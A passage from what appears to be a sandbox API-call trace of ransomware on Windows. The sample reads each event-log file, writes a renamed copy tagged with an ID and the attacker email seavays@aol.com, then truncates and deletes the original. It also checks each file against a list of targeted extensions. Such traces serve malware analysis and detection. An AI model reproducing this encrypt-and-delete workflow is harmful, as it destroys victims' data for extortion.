(hObject=0x34c) returned 1 [0063.326] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0063.326] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0063.326] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.327] lstrlenW (lpString=".doc") returned 4 [0063.327] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString=".docx") returned 5 [0063.327] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.327] lstrlenW (lpString=".pdf") returned 4 [0063.327] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString=".xls") returned 4 [0063.327] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString=".xlsx") returned 5 [0063.327] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.327] lstrlenW (lpString=".ppt") returned 4 [0063.327] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.327] lstrlenW (lpString=".zip") returned 4 [0063.327] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString=".rar") returned 4 [0063.327] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString=".bz2") returned 4 [0063.327] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString=".7z") returned 3 [0063.327] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.327] lstrlenW (lpString=".dbf") returned 4 [0063.327] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.327] lstrlenW (lpString=".1cd") returned 4 [0063.327] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.327] lstrlenW (lpString=".jpg") returned 4 [0063.327] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.328] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.328] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.328] lstrlenW (lpString=".doc") returned 4 [0063.328] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.328] lstrlenW (lpString=".docx") returned 5 [0063.328] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.328] lstrlenW (lpString=".pdf") returned 4 [0063.328] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.328] lstrlenW (lpString=".xls") returned 4 [0063.328] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.328] lstrlenW (lpString=".xlsx") returned 5 [0063.328] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.328] lstrlenW (lpString=".ppt") returned 4 [0063.328] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.597] lstrlenW (lpString=".zip") returned 4 [0063.597] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.597] lstrlenW (lpString=".rar") returned 4 [0063.597] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.597] lstrlenW (lpString=".bz2") returned 4 [0063.597] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.597] lstrlenW (lpString=".7z") returned 3 [0063.597] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.597] lstrlenW (lpString=".dbf") returned 4 [0063.597] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.597] lstrlenW (lpString=".1cd") returned 4 [0063.597] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0063.597] lstrlenW (lpString=".jpg") returned 4 [0063.597] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.597] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0063.597] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0063.597] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0064.088] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0064.089] CloseHandle (hObject=0x390) returned 1 [0064.089] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0064.089] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.089] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0064.089] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.089] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.089] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0064.089] GetLastError () returned 0x0 [0064.089] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.092] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.595] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.595] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x124, lpOverlapped=0x0) returned 1 [0064.595] SetEndOfFile (hFile=0x398) returned 1 [0064.595] CloseHandle (hObject=0x398) returned 1 [0064.598] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.598] SetEndOfFile (hFile=0x390) returned 1 [0064.599] CloseHandle (hObject=0x390) returned 1 [0064.600] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.600] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0064.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.600] lstrlenW (lpString=".doc") returned 4 [0064.600] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.600] lstrlenW (lpString=".docx") returned 5 [0064.600] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.600] lstrlenW (lpString=".pdf") returned 4 [0064.600] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.600] lstrlenW (lpString=".xls") returned 4 [0064.600] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.600] lstrlenW (lpString=".xlsx") returned 5 [0064.600] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.600] lstrlenW (lpString=".ppt") returned 4 [0064.600] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.601] lstrlenW (lpString=".zip") returned 4 [0064.601] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString=".rar") returned 4 [0064.601] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString=".bz2") returned 4 [0064.601] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString=".7z") returned 3 [0064.601] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.601] lstrlenW (lpString=".dbf") returned 4 [0064.601] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.601] lstrlenW (lpString=".1cd") returned 4 [0064.601] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.601] lstrlenW (lpString=".jpg") returned 4 [0064.601] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.601] lstrlenW (lpString=".doc") returned 4 [0064.601] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString=".docx") returned 5 [0064.601] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.601] lstrlenW (lpString=".pdf") returned 4 [0064.601] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString=".xls") returned 4 [0064.601] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.601] lstrlenW (lpString=".xlsx") returned 5 [0064.602] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.602] lstrlenW (lpString=".ppt") returned 4 [0064.602] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.602] lstrlenW (lpString=".zip") returned 4 [0064.602] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.602] lstrlenW (lpString=".rar") returned 4 [0064.602] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.602] lstrlenW (lpString=".bz2") returned 4 [0064.602] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.602] lstrlenW (lpString=".7z") returned 3 [0064.602] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.602] lstrlenW (lpString=".dbf") returned 4 [0064.602] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.602] lstrlenW (lpString=".1cd") returned 4 [0064.602] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0064.602] lstrlenW (lpString=".jpg") returned 4 [0064.602] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.602] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.602] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0064.602] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0064.603] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0064.603] CloseHandle (hObject=0x390) returned 1 [0064.603] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0064.603] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.603] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0064.603] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.603] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.603] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0064.604] GetLastError () returned 0x0 [0064.604] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.606] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.608] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.609] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x132, lpOverlapped=0x0) returned 1 [0064.609] SetEndOfFile (hFile=0x398) returned 1 [0064.609] CloseHandle (hObject=0x398) returned 1 [0064.611] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.611] SetEndOfFile (hFile=0x390) returned 1 [0064.612] CloseHandle (hObject=0x390) returned 1 [0064.612] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.613] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0064.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.613] lstrlenW (lpString=".doc") returned 4 [0064.613] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.613] lstrlenW (lpString=".docx") returned 5 [0064.613] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.613] lstrlenW (lpString=".pdf") returned 4 [0064.613] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.613] lstrlenW (lpString=".xls") returned 4 [0064.613] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.613] lstrlenW (lpString=".xlsx") returned 5 [0064.613] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.613] lstrlenW (lpString=".ppt") returned 4 [0064.613] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.613] lstrlenW (lpString=".zip") returned 4 [0064.613] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.613] lstrlenW (lpString=".rar") returned 4 [0064.613] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString=".bz2") returned 4 [0064.614] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString=".7z") returned 3 [0064.614] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.614] lstrlenW (lpString=".dbf") returned 4 [0064.614] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.614] lstrlenW (lpString=".1cd") returned 4 [0064.614] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.614] lstrlenW (lpString=".jpg") returned 4 [0064.614] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.614] lstrlenW (lpString=".doc") returned 4 [0064.614] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString=".docx") returned 5 [0064.614] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.614] lstrlenW (lpString=".pdf") returned 4 [0064.614] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString=".xls") returned 4 [0064.614] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString=".xlsx") returned 5 [0064.614] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.614] lstrlenW (lpString=".ppt") returned 4 [0064.614] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.614] lstrlenW (lpString=".zip") returned 4 [0064.614] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.615] lstrlenW (lpString=".rar") returned 4 [0064.615] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.615] lstrlenW (lpString=".bz2") returned 4 [0064.615] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.615] lstrlenW (lpString=".7z") returned 3 [0064.615] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.615] lstrlenW (lpString=".dbf") returned 4 [0064.615] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.615] lstrlenW (lpString=".1cd") returned 4 [0064.615] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0064.615] lstrlenW (lpString=".jpg") returned 4 [0064.615] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.615] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.615] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0064.615] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0064.615] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0064.616] CloseHandle (hObject=0x390) returned 1 [0064.616] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0064.616] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.616] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0064.616] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.616] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.616] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0064.617] GetLastError () returned 0x0 [0064.617] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.619] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.621] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.621] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x132, lpOverlapped=0x0) returned 1 [0064.621] SetEndOfFile (hFile=0x398) returned 1 [0064.622] CloseHandle (hObject=0x398) returned 1 [0064.624] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.624] SetEndOfFile (hFile=0x390) returned 1 [0064.625] CloseHandle (hObject=0x390) returned 1 [0064.625] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.626] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0064.626] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.626] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.626] lstrlenW (lpString=".doc") returned 4 [0064.626] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.626] lstrlenW (lpString=".docx") returned 5 [0064.626] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.626] lstrlenW (lpString=".pdf") returned 4 [0064.626] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.626] lstrlenW (lpString=".xls") returned 4 [0064.626] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.626] lstrlenW (lpString=".xlsx") returned 5 [0064.626] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.626] lstrlenW (lpString=".ppt") returned 4 [0064.626] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.626] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.626] lstrlenW (lpString=".zip") returned 4 [0064.626] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.626] lstrlenW (lpString=".rar") returned 4 [0064.626] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.626] lstrlenW (lpString=".bz2") returned 4 [0064.626] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString=".7z") returned 3 [0064.627] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.627] lstrlenW (lpString=".dbf") returned 4 [0064.627] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.627] lstrlenW (lpString=".1cd") returned 4 [0064.627] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.627] lstrlenW 